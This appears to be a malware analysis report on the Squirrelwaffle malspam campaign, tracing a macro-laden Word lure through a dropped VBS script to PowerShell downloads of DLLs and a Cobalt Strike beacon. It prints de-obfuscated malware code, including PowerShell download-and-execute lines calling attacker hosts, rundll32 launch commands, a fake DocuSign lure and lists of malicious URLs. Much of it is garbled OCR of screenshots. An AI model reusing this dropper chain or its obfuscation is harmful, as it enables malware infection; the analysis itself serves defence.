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While tracking malicious spam campaigns at the beginning of September 2021, we discovered a new villain that joined known
major actors including Trickbot, Bazarloader, Ursnif, Dridix, and IcedID in the email-based malware landscape.

Email-based campaigns are used to deliver and distribute large-scale phishing malspam and deploy different types of malwares.
These malicious emails often contain a .ZIP attachment, Microsoft Office document, or a URL link. The weaponized documents
are responsible for downloading and executing next-stage malware payloads.

The new kid on the block’s name is Squirrelwaffle, and it was first seen in the wild at the start of September 2021. Squirrelwaffle
MalDoc samples are tagged by researchers as “TR”, which stands for the malspam distribution infrastructure, a tag that indicates
a particular malspam distribution affiliate.

We started seeing samples uploaded into open malware databases (such as bazzar.abuse):

Date (UTC) | SHA256 hash Type Signature Tags Reporter DL

2021-09-18 07:56 449fc42c5403c426fd123... g doc [ Squirretwatfic JI doc | @abuse_ch (& ]
2021-09-17 14:35 0cf7c00b406b33ae22f90... dlil [ squirrelwatiic JI du | (] @ffforward (o]
2021-09-17 14:33 049890544f50039c38701... = doc [ doc | souiRRELWAFFLE | ] @ffforward (& ]
2021-09-16 14:36 85d0b72fe822fd6c22827... dil [ Squirrelwatfic JI di | @proxylife (& ]
2021-09-16 10:19 171d8ac6ea329c8ba1dd... a doc [ doc | souiRrELWAFFLE | 7] @ankit_anubhav (& ]
2021-09-14 11:56 b4178ce9d34i5cebazb3... g doc [ doc Jidrioader | sauiRRELwAFFLE | ] @ffforward (& ]
2021-09-14 11:50 8308975¢e3092d911742... [Cexe [ it § exe Jidrioader | sauiRreLwAFFLE | o] @ffforward (& ]

When inspecting SquirrelWaffle on VirusTotal, we noticed there are additional samples, as can be seen here:
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Communicating Files

Scanned Detections Type Name
2021-09-17 27 159 MS Word Document diagram-864.doc
2021-09-17 28 160 MS Word Document payload_1.bin
2021-09-15 23 160 MS Word Document payload_1.bin
2021-09-15 23 /&1 MS Word Document payload_1.bin
2021-09-15 25 161 MS Word Document payload_1.bin
2021-09-16 25 161 MS Word Document payload_1.bin
2021-09-16 26 181 MS Word Document diagram-258.doc
2021-09-16 25161 MS Word Document f2c210f5a33685912a1b9777b4b10663
2021-09-16 26 161 MS Word Document diagram-268.doc
2021-09-16 26 160 MS Word Document payload_1.bin
2021-09-16 27 161 MS Word Document payload_1.bin
2021-09-16 27 161 MS Word Document payload_1.bin
2021-09-14 21161 MS Word Document payload_1.bin
2021-09-14 19 /60 MS Word Document payload_1.bin
2021-09-15 23 141 MS Word Document payload_1.bin
2021-09-14 21161 MS Word Document payload_1.bin
2021-09-15 21 160 MS Word Document payload_1.bin
2021-09-14 20 /61 MS Word Document payload_1.bin
2021-09-15 24 161 MS Word Document payload_1.bin
2021-09-15 22 /160 MS Word Document payload_1.bin
2021-09-16 26 161 MS Word Document diagram-107.doc
2021-09-15 22 161 MS Word Document diagram-927.doc
2021-09-15 21161 MS Word Document payload_1.bin
2021-09-15 21160 MS Word Document payload_1.bin
2021-09-15 25 [ 61 MS Word Document payload_1.bin
2021-09-15 22 161 MS Word Document diagram-954.doc
2021-09-14 19 /61 MS Word Document payload_1.bin
2021-09-15 24 161 MS Word Document payload_1.bin

Squirrelwaffle infection chain overview:

Squirrelwaffle compromises victims via a malspam campaign. Currently, Squirrelwaffle emails deliver a malicious URL link which
leads to a ZIP file as part of the email content.

The victim downloads a ZIP file that contains a weaponized Microsoft Office document. The malicious document contains macro
code and a fake template that lures the victim to click on Enable Content. After the macros are executed, the malicious
document acts as Dropper. It drops a VBS file stored inside the MalDoc to the disk and launches it via cscript command.

Next, the VBS script downloads five DLL modules from five different URLS via PowerShell command and invokes these modules
through a rundll32 command.

.Currently, we know that the DLL modules enumerate the compromised host and download the next-stage payload from a
Command-and-Control (C2) Server. The downloaded file has a TXT extension. The TXT file is a portable executable file (EXE),
which in fact is a Cobalt Strike beacon.

Malware-Traffic-Analysis shared Squirrelwaffle to Cobalt Strike indicators and artifacts:
https://www.malware-traffic-analysis.net/2021/09/17/index.html

Infection chain of Word Squirrelwaffle releases (14 September — ):
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1. The user receives a phishing email with a malicious URL link to a ZIP file which stores a Microsoft Office weaponized
document.

© oo NOO O WDN

MalSapm With URL To ZIP ZIP Contains MalDoc

MalDoc with Macros

Cscript Executes VBS

CMD And PowerShell

Squirrelwaffle DLL

. The user opens the malicious weaponized Word document and is lured into clicking on “Enable content” (macros).
. The malicious VBA macro is executed and dropd the VBS (visual basic script) file to the ProgramData directory.

. The malicious VBA macro executes the VBS file via cscript.
. The VBS script executes PowerShell and CMD (Rundll32 executes via the CMD) processes.
. The PowerShell command downloads the Squirrelwaffle modules (DLLs).
. The rundll32 executes the Squirrelwaffle modules with Idr function.
. Enumeration actions are performed on the compromised host.

. Finally, a Cobalt Strike beacon is dropped and launched.

Cobalt Strike Beacon

Update 20/09/2021:

Cobalt Strike C2 Server

We have observed another Squirrelwaffle infection. In this new variant, threat actors use malicious Excel documents instead of
Word documents. The malicious Excel documents contain macro v4 (XLM) code instead of VBA code (Word documents).

Furthermore, they changed the execution and the download methods.

Infection chain of Word Squirrelwaffle releases (20 September — ):

1. The user opens the malicious weaponized Excel document and is lured into clicking on “Enable content” (macros v4).
2. The malicious macros v4 is executed and downloaded from a C2 server masquerading as DLL payloads.
3. The malicious macros v4 execute masqueraded DLL payloads via regsvr32 command line.
4. The regsvr32 executes the Squirrelwaffle modules.
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Squirrelwaffle infection chain analysis:

The infection chain starts with a phishing email vector. Phishing technique T1566 has two sub-techniques: Spearphishing
Attachment T1566.001 and Spearphishing Link T1566.002.

Squirrelwaffle currently uses the Spearphishing Link technique by sending malicious emails with a URL to a ZIP file that contains
the malicious Word document.

urlhaus.abuse.ch tag: SQUIRRELWAFFLE

Dateadded (UTC)

2021-09-18 08:19:49
2021-09-18 08:11:26
2021-09-18 07:52:28
2021-09-18 07:52:25
2021-09-18 07:52:24
2021-09-18 07:52:22
2021-09-18 07:52:20
2021-09-18 07:52:20
2021-09-18 07:52:19
2021-09-18 07:52:19
2021-09-18 07:52:18
2021-09-18 07:52:16
2021-09-18 07:52:15
2021-09-18 07:52:14
2021-09-18 07:52:12
2021-09-18 07:52:06
2021-09-18 07:52:05
2021-09-18 07:52:05
2021-09-18 07:52:05
2021-08-18 07:52:04
2021-09-18 07:52:03

2021-09-18 07:51:07

1 URL
http://srv7.corpwebcontrol.com/np/user_est.zip...
http://srv7.corpwebcontrol.com/np/prog_est.zip...
https://builtbybh-com.gg/eum-est/voluptas.zip...
https://readgasm.com/repudiandae-provident/voluptas.zip
https://cctfiles.xyz/aliquam-ipsam/documents.zip...
https://focus.focalrack.com/enim-rerum/ducimus.zip...
https://builtbvbh-com.gg/eum-est/voluptas.zip...

https://shivrajengineering.in/qui-dolores/placeat.zip...

http://stripemovired.ramfactoryarg.com/nostrum-ab/documen...

http://tradingview-brokers.skoconstructionng.com/molestia...
https://abogados-en-medellin.com/odit-errar/documents.zip...
http://shahanaschool.in/illum-accusamus/documents.zip...
https://inetworx.co.za/voluptate-sunt/est.zip...
https://kmslogistik.com/repellat-et/est.zip...
http://syncun.com/natus-aut/documents.zip...
https://moeinjelveh.ir/et-eligendi/placeatzip...
https://builtybybh-com.gq/eum-est/voluptas.zip...
https://saraviatowing.net/et-praesentium/placeat.zip...
http://saraviatowing.net/et-praesentium/documents.zip...
https://amaimaging.com/voluptas-quidem/ducimus.zip...
https://sextoystore.co.in/temporibus-aut/est.zip...

http://beautifulgist.com/id-alias/documents.zip...

Tag:
Firstseen: 2021-09-14 11:55:06 UTC
Lastseen: 2021-09-18 08:19:50 UTC
Sightings: 42
I # of URLs
35
30
25
20
15
10
5
T
2021-09-14 2021-08-16

Status

Tags
SOUIRRELWAFFLE
SQUIRRELWAFFLE
SOUIRRELWAFFLE
SQUIRRELWAFFLE
SOUIRRELWAFFLE
SQUIRRELWAFFLE
SOUIRRELWAFFLE
SQUIRRELWAFFLE
SQUIRRELWAFFLE
SQUIRRELWAFFLE
SQUIRRELWAFFLE
SQUIRRELWAFFLE
SQUIRRELWAFFLE
SQUIRRELWAFFLE
SQUIRRELWAFFLE
SOUIRRELWAFFLE
SQUIRRELWAFFLE
SOUIRRELWAFFLE
SQUIRRELWAFFLE
SQUIRRELWAFFLE

SQUIRRELWAFFLE

SOUIRRELWAFFLE

Reporter

@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch
@abuse_ch

2021-08-17

Threat actors’ motivation is to lure the victim to interact with the phishing email and download the ZIP file.

2021-08-18
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Ci\Users\Malwarelab'\Desktop\document ziph - O
File Edit View Favorites Tools Help

b om v o o= X i

Add  Extract Test Copy Move Delete Info

5] | ChUsers\MalwareLab\Desktop\document.zip\

Na

Size Packed Size  Modified Created Accessed Attributes Encrypted Comment CRC  Method Host 05
228 883 134548 2021-09-17 00:54 -r-r--r=- - QBA20FFA  Deflate Unix

The next step of the infection is based on the user’s interaction with the phishing email. This step is related to User Execution
technique T1204 which is part of the Execution TAO002 tactic.

This technique has two sub-techniques: Malicious Link T1204.001 and Malicious File T1204.002.

The user downloads the malicious ZIP file by using the URL link in the phishing email. The ZIP file contains a Microsoft Office
Word document.

MalDoc pattern name: diagram-[0-9]{2,}.doc
Examples:

diagram-864.doc
diagram-258.doc
diagram-268.doc
diagram-864.doc
diagram-268.doc
diagram-107.doc
diagram-955.doc

Files Referring

Scanned Detections Type Name
2021-09-18 4 /58 Powershell www.psl
2021-09-17 27 159 MS Word Document diagram-864.doc
2021-09-17 28 160 MS Word Document payload_1.bin
2021-09-16 26 161 MS Word Document diagram-268.doc
2021-09-16 27 161 MS Word Document payload_1.bin
2021-09-16 26 161 MS Word Document diagram-107.doc
2021-09-16 27 161 MS Word Document payload_1.bin
2021-09-16 25 [ 61 MS Word Document payload_1.bin
2021-09-16 29 /61 MS Word Document diagram-%55.doc
2021-09-16 25 161 MS Word Document f2c210f5a33685912a1b9777b4b10663

To lure the victim to click on “Enable Content”, threat actors use a fake DocuSign template message.

Below, you can see an example of the Squirrelwaffle MalDoc requesting the user to click on the security warning button “Enable
Content”. This allows the malicious document to execute code stored as a macro.
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https://www.virustotal.com/gui/file/ce31d139e6ea2591a8a15fcf37232f97c799e9c5d1410ef86b54a444a7d24d0f
https://www.virustotal.com/gui/file/b7fa56ddedd0fff91af460edc504574ddc7b1df97d33d635d854e71a7be34060
https://www.virustotal.com/gui/file/783e3b86c24af82773b0dae3e738c46a79de252b1bcc5945b65da0d040ee6e9d
https://www.virustotal.com/gui/file/ce31d139e6ea2591a8a15fcf37232f97c799e9c5d1410ef86b54a444a7d24d0f
https://www.virustotal.com/gui/file/783e3b86c24af82773b0dae3e738c46a79de252b1bcc5945b65da0d040ee6e9d
https://www.virustotal.com/gui/file/05930a8bfc7e97d1f7d460352842b2f94a7b552852d1abb9dc7c8ae9698a3934
https://www.virustotal.com/gui/file/9bba679ea952513d3d6a8d5d827f56ce31b2e832940d45428c97d50e06b40e26

42540341261 123065201 c20B34161514086a274F4T7¢
Design  Layout  References  Muaili Q T

foc [Compatibility Mode] - Word

Calibri MRV W AR

P Find ~
. L9 nasbeenc| assbccoe A@BbC AGBbBCi A@BDC AsBbCCD AaBBCCDi AaBbCED AcShCcD. AaBbCCD AGBBCCD( AHDCCD. ASBACCDE AABSCCDL AGBOCCDX | s .
opy -] %
Paste - L2 - - - T Normal o Spac.. eadin: leadin itle: ubtitle ubtle Em. mphasis  Intense trong Juote ntense ubtle Ref Intense Re. ook Title:
" & Format Painter B I U -abex, x gl A L T Ne | | 1 No Spe Heading 1 Heading 2 Title Subtitle Subtle Et Emphs Inte E Strong Quot Int Q.. SubtleRef... Inte Re Book Title |5 I3 Select~
wiakgald, i Laot (rt Paragraph Styles. L} Editing ~
I I SECURITY WARNING Macros have been disabled. Enable Content I

Docu 5;'?”

This document created in previous version of Microsoft Office Word.

To view or edit this document, please click "Enable editing" button
on the top bar, and then click "Enable content"

Once macros are enabled, the VBA executes (Command and Scripting Interpreter: Visual Basic: T1059.005) and executes the
AutoOpen function.

Macros ? x
Macro name:
Step Into
Edit
Create
Delete
Organizer...
Macros in: | All active templates and documents ~
Description:
Cancel

The AutoOpen macro runs automatically after opening the document and selecting “Enable Content”.

AutoOpen function content leads us to bxh.eFile macro:
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21 449425403 c426Fd123065a0fc2bB341615140862274f477d3c18d88f4238 - ThisDocument (Code)

| (General) ~ | | AutoOpen

Sub Butolpen()
bxnh.eFile
End Sub

The bxh function contains obfuscated VBA code which decoded via StrReverse “Returns a string in which the character order of

a specified string is reversed.”

% A49fcd2c5403c4f26fd123065a0fc2b834161514086a274f477d3c 18d88f4238 - bxh (Code)

General, ~w | |eFile
[(Genera) ||

lsub eFile()

Dim QQ1 As Object

Set Q21 = New Form

RO = StrReverse ("\ataDmargorP\:C")
RCI = RC + StrReverse("sbv.nip")
ii = StrReverse ("")

HNe = StrReverse ("IZ0IZIMIZI™)
WW = QQl.tZ.Caption

MyFile = FreeFile

Cpen ROI For Output As #MyFile
Print #MyFile, WW

Close #MyFile

fun = 5Shell (StrReverse ("sbv.nip\ataDmargorP\:C exe.tpircsc k/ dmc"),
End
End Sub

== «

The artifact extracted from the bxh function:

Path: C:\ProgramData
File Name: pin.vbs

Execution command: cmd /k cscript .exe C:\ProgramData\pin.vbs

Using the OLEVBA tool, we have found several interesting artifacts:

Chr(48))
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The threat actors use a different technique to hide malicious code/strings such as URLs, IPs, commands, or even shellcode
inside the malicious document.
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We kept digging inside the MalDoc file and found a Form (t2) containing malicious VBS code.

£ Microsoft Visual Basic for Applications - 1 1615140862744 [design] - 1
B File Edit View Inset Format Debug Run Tools Add-lns Window Help
=1 Gy FE * @ =
Project - Project |
e =
E
" e oinp)
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ThisDocument E
e (1L - e 100D relace (100, e O e -l ' S e, S L WEB Sl Do iy
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5;;2‘":“ wonorm } ryCap d"Y;$FO0X =(saa,5qq, Sunw, See, St b, Scc Join °); OY $FOOKIOY;"
:LM 'Wann( =JOOEX .replace( 00", l'),SaIDVWannC,ﬁB - (New-Ob'; $gg="ect Ne'; Smw="t.WebCli; $ee="ent).Downl ; rr ='oadFile’;
ot himl, AY}SFOOX ~(sa3, S, 5w, Ses, G, b, Sez -lain *); OF SFOOX|ON;"
< > us o= 00 replace( 200 1) O sanoc$aa=(New-0b', $3<1ect e 'L VIEhCH; ee='ent) Do r =i
i (R ;00X (528,800, Sww, See, 1,800, Jon ); OY
Propetties - 2 x| bl
H H9=po"
Alphabetic  Categorized ThIS document G HHS ‘Ners
B ~ : :
HHE— EH -

Accelerator

i i W
[BackColor ] 88000000

Bacstyle  1- frBadkstyie

Bordercolor [l 88000000
[BorderStyle 0 - fmBorderSty

DimWAITPLZ,
ControfpText

Encbled  True

Font Tehoma
[ForeColor Il a8000001
reght a7
HelbContextlD 0

o 50

Mouselcon | (None)
IMousePointer 0 - fMousePal
Picture None)
PicturePosition 7 - frPicturePa
(SpecislEffect |0 - fSpecialEf.
ITabndex

Toview:or edit t]
on:the top bar, a

O~ S LTS
et Ran = Cre: b;e:t(\wsmpt shel)
o O 4L Chr(38)
an Run HHO-HLZ, Chr(46)
an Run HHO-HL3, Chr(48)
an Run HHO HL4, Chr(48)
an Run HHO-HLLS, Chr(48)
ez
=and fc rundI32.exe C:\ProgramData L.l dr™
an Run OK1, Chi(38)
o f rundl32.xe C:rogranDataln2 "

2
8

amd [ mndHSZ exe C:¥programDatayww3.dil k™
un OK3, Ch
o /- oo exe C:roranatalymed Al
2. Run OK4, Chr(48)
OK5 = "amd /c rundi32.exe C:\ProgramDatatwwn.dl ™
Ran Run OKS, Chr(46)

[TabStop False

ITag
[Textalign  1- fiTextAlign
on & v

The obfuscated VBS code is dropped to C:\ProgramData directO(y:

Dim WATTBLZ, WS
WAITPLZ = DateAdd(Chr(115), 4, Now(})
5 Do Until (New() > WAITPLZ)

Loop

0+LL3, Chx (48)

0+114, Chr (48)

n HHO+LLS,Chr (48)
WSCript.Sleep (15000)

OK3, Chr(48)

4, Chx(48)

KS, Chz(48)

The VBS file is written to the disk via the MalDoc file:

& Event {8h Process

@ Stack

Date: 9/18/2021 2:06:53.0602896 PM

Thread: 3292

Class: File System

Operation: WriteFile

Result: SUCCESS

Path: C:A\ProgramDatatpin.wvbs

Duration: 0.0000732

Offset:
Length:
Pricrity:

512
Maormal
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4 I > ™isPC s Local Disk (C:) > ProgramData

, M Desktop Date modified

OneDrive ; 9/18/2021 2:06 PM VBScript Script File

& MalwareLab l regid.1991-06.com.microsoft /18/2021 1:45 PM File fo

The next step that in the attack happens when macros are enabled. This executes a cmd command that spawns a cscript.exe
process.

Execution command: cmd /k cscript .exe C:\ProgramData\pin.vbs

Date: G/18/2021 2:06:53.0675673 PM
Thread: 3292
Class: Process
Operation: Process Create
Result: SUCCESS
Path: CAWindows\SysWOWBS\ cmd.exe
Duration: 0.0000000
PID: 1196
Command line: cmd /k cscript.exe C:\ProgramData‘\pin.wvbs

The cscript process executes the pin.vbs file:

& Event @:‘-‘ Process £ Stack

Date: G/18/2021 2:06:53.2599034 PM
Thread: 6184
Class: Process
Operation: Process Create
Result: SUCCESS
Path: CAWindows\SysWOWBS\ cscript.exe
Duration: 0.0000000
PID: 6300
Command line: cscript.exe C\ProgramData\pin.vbs

We have analyzed the VBS code and de-obfuscated it:

Dim WAITPLZ, WS

WAITPLZ = DateAdd(Chr(l1l5), 4, Now())
Do Until (Now() > WAITPLZ)

Loop

nos W

LL1 = "$Nano='JOOEX'.replace('JOO','I"');
sal OY IEX

SFO0X = " (Ne
IEX SFOOX|IEX;

LL2 = "SNanoz='JQOEX'.replace('Jcoo','I');
sal OY SNanoz;
SFOCX = " (Ne
IEX $FOOX|IEX;

LL3 = "SNanox='JOOEX'.replace('Joco',6'I'");

sal OY
SFOOX = " (Ne Jject N _Dowr e('https://bus
TEX SFOOX|IEX;

LL4 = "SNanoc='JOOEX'.replace('Jo0','I'");
sal OY
SFOOX q
IEX SFOCX|IEX;"

(S

LLS = "SNanoc='JOOEX'.replace('J0o0','I'");
sal OY SNanoc; #IEX
SFOOX = " ( jec
IEX SFOOX|IEX;"

WD R RN RN RN
= L S oo o ¢

w
b
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B HHO= powershell
23 Set Ran = CreateObject("wscript.shell")
34 Ran.Run HHO+LL1,Chr(48)

35 Ran.Run HHO+LL2,Chr (48)

36 Ran.Run HHO+LL3,Chr (48)
37 Ran.Run HHO+LL4,Chr (48)
38 Ran.Run HHO+LL5,Chr (48)
39 WScript.Sleep (15
40 OKl = "cmd /c rund
41 Ran.Run OK1, Chr(48)
42 OK2 = "cmd /c rundll
43 Ran.Run OK2, Chr(48)
44 OK3 = "cmd /c rundll

000}

rundll32.exe C:\ProgramData‘\wwwl.dll, ldr

45 Ran.Run OK3,

46 OK4 = "cmd /c rundll3Z.exe C:\Pr r
47 Ran.Run OK4, Chr(48)

48 OK5 = "cmd /c rundll32.exe C:\ProgramData\www5.dll,ldr"

49 Ran.Run OK5, Chr(48)

LL1\2\3\4\5 (line 6-9, 11-14, 16-19, 21-24 and 26-29) stored PowerShell commands (de-obfuscated):

IEX “(New-Object Net.WebClient).DownloadFile(‘hxxps://priyacareers[.Jcom/u9hDQN9Yy7g/pt.html’,’C:\ProgramData\www1.dII')’|
IEX

IEX (New-Object
Net.WebClient).DownloadFile(‘hxxps://perfectdemos[.Jcom/Gv1iNAUMKZ/pt.html’,’C:\ProgramData\www2.dII')| [EX

IEX (New-Object Net.WebClient).DownloadFile(‘hxxps://bussinessz[.Jml/ze8pCNTIlkrIS/pt.html’,’C:\ProgramData\www3.dIl')| [EX
IEX (New-Object Net.WebClient).DownloadFile(‘hxxps://cablingpoint[.Jcom/ByH5NDoE3kQA/pt.html’,’C:\ProgramData\www4 .dIl’)

IEX (New-Object
Net.WebClient).DownloadFile(‘'https://bonus.corporatebusinessmachines.co.in/1Y0qVNce/pt.html’,'C:\ProgramData\www5.dll)|[EX

Lines 34-38 execute a PowerShell instance with each command above (five PS instances in total).

Each PowerShell command uses WebClient Class and DownloadFile method which allows the PowerShell command to
download a DLL file and drop the file to the C:\ProgramData directory.

One of the PowerShell instances command-line:

“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” $Nano="JOOEX .replace(‘'JOO’,’I');sal OY
$Nano;$aa='(New-Ob’; $qgq="ject Ne’; Sww="t. WebCli’; $ee="ent).Downl’; $rr="oadFile’;
$bb="("hxxps://priyacareers[.Jcom/u9hDQN9Yy7g/pt.html”,”C:\ProgramData\www1.dII")’;$FOOX =
($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ”); OY $FOOX|QY;

Description:  Windows PowerShell

Company:  Microsoft Corporation

Path: C:\Windows\ SysWOWBS\ WindowsPowerShellyw1.0\powershell.exe

Command: |, "C:\ProgramData\www1.dIl");SFO0X = (5aa,5qq, Sww,See S 5bb, Scc -Join ) O SFOOX|OY:
User DESKTOPR-GETLI2V\MalwareLab

PID: 3504 Started:  G/18/2021 2:06:58 PM

Exited: 9/18/2021 2:07:086 PM

By sniffing the network packets of the PowerShell instances, we have found five IP addresses related to the five URLs observed
in the VBS script:
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=-£¥ powershell.exe (2532)

- @-gf 1Pva - 108.167.172.125) ConvID = 273
=X powershell.exe (5168)

- @ 1Pv4 - 192. 185.52. 124) ConvID = 287
=X powershell.exe (5504)

- @ 1Pva - 162.222.226.77) ConvID = 289
=% powershell.exe (8732)

- @-gf Pv4 - 204.11.58.87) ConvID = 291
BE powershell.exe (8368)

- @-gf Pv4 - 162 241.85.65) ConvID = 295

108[.]167[.]172[.]125
192[.]185[.]52[.]124
204[.]11[.]58.187
162[.]241[.]85[.165
Time Destination Protocol Host Info
2021-09-19 ©1:48:49.912273008 108.167.172.125 TCP 9582 » 443 [ACK] Seq=179 Ack=2921 Win=262656 Len=@
2821-89-19 81:48:49.912938768 188.167.172.125 TCP 9582 » 443 [ACK] Seq=179 Ack=4466 Win=262656 Len=8
2021-99-19 ©1:40:49.917753800 108.167.172.125 TLSv1.2 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
2021-89-19 @1:48:508.133175400 188.167.172.125 TLSv1.2 Application Data

9502 + 443 [RST, ACK] Seq=387 Ack=4981 Win=0 Len=0

2821-89-19 81:48:49.988851000 162.222.226.77 TP 9584 + 443 [ACK] Seq=1 Ack=1 Win=262656 Len=@

2021-09-19 @1:48:40.957236368 162.222.226.77 TLSV1.2 Client Hello

2@821-89-19 81:48:56.195185268 162.222.226.77 TP 9584 » 443 [ACK] Seq=179 Ack=2921 Win=262656 Len=8

2021-09-19 91:40:50.195353400 ABEEEEEEFTTTT e 9504 + 443 [ACK] Seq=179 Ack=4436 Win=262656 Len=0

2021-69-19 81:48:58.199911768 162.222.226.77 TLSV1.2 client Key Exchange, Change Cipher Spec, Encrypted Handshake Message

2021-99-19 91:40:58.434501300

162.222.226.77 TLSv1.2 Application Data
2021-89-19 @1:48:52.863872400 62.222.226.77

162.222.226.77 9584 » 443 [RST, ACK] Seq=385 Ack=4951 Win=6 Len=8

2021-989-19 81:48:49.923072308 192.185.52.124 TCP 9583 » 443 [ACK] Seq=1 Ack=1 Win=262656 Len=0
2821-89-19 81:48:49.938498200 192.185.52.124 TLSv1.2 Client Hello

In line 39, threat actors use a Sleep function. The function performs a sleep action for 15 seconds to wait with the next step of
the execution to allow a full download of all the DLL payloads:

WScript.Sleep(15000)
After the Sleep action, the VBS script executes cmd.exe processes that swap a rundll32.exe which runs the following command:

cmd /c rundll32.exe C:\ProgramData\www1.dll,Idr
cmd /c rundll32.exe C:\ProgramData\www?2.dll,Idr

cmd /c rundll32.exe C:\ProgramData\www3.dll,Idr
cmd /c rundll32.exe C:\ProgramData\www4.dll,Idr

cmd /c rundll32.exe C:\ProgramData\www5.dll,Idr

The CMD command executes five times a rundll32 process to load the downloaded DLLs with the Idr function, the Squirrelwaffle
DLL payloads named LdrLoader due to the export function.
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Functions window o8 x IDA View-A (x| Pseudocode-a [ [s]  Strings window  [2] [
Function name Segment || MName Address Ordinal
[#] sub_10003850 text 2] Idr 10005610 1
[# 1ar text ' 10008AF
[#] sub_10005680 text
(] sub_10005600 text
[#] sub_10005710 text
[#] sub_10005780 text
[#] sub_10005700 text
[F] sub_10005850 text
[¥] sub_10005850 text
[F] sub_10005300 text
[#] sub_100058F0 text
(] sub_1o0o5sc0 text
[#] sub_10005830 text
[#] sub_10005C10 text
[7] sub_1o0o5c50 text
[F] sub_10005C80 text
[¥] sub_10005070 text
[F] sub_10005E80 text
[] sub_10005FA0 text
[¥] sub_10006250 text
[F] sub_10006250 text
[#] sub_10006340 text
(] sub_10006580 text
E 5uF:_1000655 text 9

The cscript script (pin.vbs) executes CMD and PowerShell processes:

ZUES... Wcscript exe 6300 ¢’ Load Image L \Windows'\SysWUW64\UneUore UAFCommon FroxyStub dil SUCLESS Image Hase: Lxbba6ULUU, Image Size: Lk3alUUL
2065... Woscript exe 6300 <2 Process Create C ¥ werShellw1 0\powershell exe SLUCCESS PID: 3504. Command line: "C:\Windows"\System32\Window.
2:065... Woscript exe 6300 <2 Thread Exit SUCCESS Thread ID: 4420, User Time: 0.0156250, Kemel Time: 0.156...
- . 6300 <2 Thread Create SUCCESS Thread ID: 2588
6300 <2 Process Create C ¥ 1.0\powershel exe SUCCESS PID: 5460, Command line: "C:\Windows"\System 32\Window.
6300 ¢2Thread Exit SUCCESS Thread |1D: 2588, User Time: 0.0000000, Keme! Time: 0.015.
6300 ¢ Thread Create SUCCESS Thread |1D: 7072
6300 2 Process Create C ¥: 1.0 exe SUCCESS PID: 6724, Command line: "C:\Windows"\System32\Window.
6300 <2 Thread Create SUCCESS Thread |D: 6288
6300 <2 Thread Exit SLUCCESS Thread ID: 7072. User Time: 0.0156250. Kemel Time: 0.046.
6300 <?Process Create C. ¥ 1.0'powershel exe SUCCESS PID: 7056, Command line: "C:\Windows"\System 32\Window.
6300 <2 Thread Create SUCCESS Thread ID: 1632
6300 <2 Thread Bxit SUCCESS Thread ID: 6288, User Time: 0.0000000, Kemel Time: 0.046...
6300 &2 Process Create C: y: ir 1.00pe exe SUCCESS PID: 5640, Command line: “C:\Windows"\System32\Window.
6300 ¢ Thread Exit SUCCESS Thread 1D: 1632, User Time: 0.0000000, Keme! Time: 0.046.
6300 2 Thread Create SUCCESS Thread |D: 6552
6300 <2 Process Create C:\Windows\SysWOW64'\emd exe SUCCESS PID: 3468. Command line: "C:\Windows\System32\cmd exe
6300 <2 Thread Exit SLUCCESS Thread ID: 6552. User Time: 0.0156250. Kemel Time: 0.000.
6300 <2 Thread Create SUCCESS Thread ID: 5888
6300 <2 Process Create C:\Windows\SysWOW64\cmd exe SUCCESS PID: 4688, Command line: "C:\Windows\System32\cmd exe. .
6300 <2 Thread Exit SUCCESS Thread ID: 5888, User Time: 0.0156250, Kemel Time: 0.015...
6300 ¢ Thread Create SUCCESS Thread 1D: 4120
6300 2 Process Create C\Windows'\SysWOW64\emd exe SUCCESS PID: 384, Command line: "C:\Windows\System32'cmd exe™
6300 2 Thread Create SUCCESS Thread |D: 4564
6300 <2 Thread Exit SUCCESS Thread 1D: 4120, User Time: 0.0000000. Keme! Time: 0.000.
6300 <2 Process Create C:\Windows"\SysWOW64'\cmd exe SLUCCESS PID: 1752. Command line: "C:\Windows\System32\cmd exe
6300 <2 Thread Exit SUCCESS Thread ID: 4564, User Time: 0.0000000, Kemel Time: 0.015...
- . 6300 <2 Thread Create SUCCESS Thread ID: 5280
1. !cscﬁm exe 6300 C.?F'mcess Create C:\Windows\SysWOWE4\cmd exe SUCCESS PID: 4272, Command line: "C:\Windows\System32\cmd exe...

Full process tree execution flow:

= Microsoft Word g
(=) [g# cmd exe (1196) Windows Command Processor C:\Windows\Sys _Mitmsuﬂ Corporat... DESKTOP-GB7LJ... cmd /k cscript.ex.. 9/18/2021 2.06:5... n/a
[Z Conhost exe (1764) Console Window Host C:\Windows\Syst... _Micmsoﬂ Corporat... DESKTOP-GB7LY... \?MCA\Windows'... 9/18/2021 2.06:5... n/a

2§ cscript exe (6300) Microscft ® Console Based Script Host CWindows\Sys. _ Microsoft Comporat... DESKTOP-GB7LJ... cscript.exe CA\Pr.. 9/18/2021 2:06:5... 9/18/2021 2:07:1...
(=) £ powershell exe (3504) ‘Windows PowerShell C:\Windows'\Sys - Microsoft Corporat... DESKTOP-G87LY... "C:\Windows"Sys... 9/18/2021 2:06:5... 9/18/2021 2.07:0...
g5 Conhost exe (1464) Congole Window Host C\Windows'\Syst ... - Microsoft Corporat... DESKTOP-GB7L)... \?MC\Windows"... 9/18/2021 2.06:5... 9/18/2021 2.07.0...
(=) ¢4 powershell exe (5460) 'Windows PowerShell C:\Windows'\Sys. - Microsoft Corporat... DESKTOP-G87LJ... "C:\Windows\Sys... 9/18/2021 2:06:5... 9/18/2021 2.07:0...
{1 Conhost exe (2520) Console Window Host C:\Windows\Syst .. - Microsoft Corporat... DESKTOP-GE7L)... \?MC:\Windows... 9/18/2021 2:06:5... 9/18/2021 2.07:0...

(=) #4 powershell exe (6724) 'Windows PowerShell C:\Windows'\Sys - Microsoft Corporat .. DESKTOP-GB7LJ... "C:\Windows\Sys... 9/18/2021 2:06:5.. 9/18/2021 2:07:0.
i Conhost exe (4404) Console Window Host C:\Windows\Syst .. - Microsoft Corporat... DESKTOP-GE7L)... \?MC:\Windows... 9/18/2021 2:06:5... 9/18/2021 2.07:0...

(= i powershell exe (7056) Windows PowerShell C\Windows\Sys - Microsoft Corporat... DESKTOP-G87LJ... "C:\Windows\Sys... 9/18/2021 2:06:5... 9/18/2021 2:07:0.
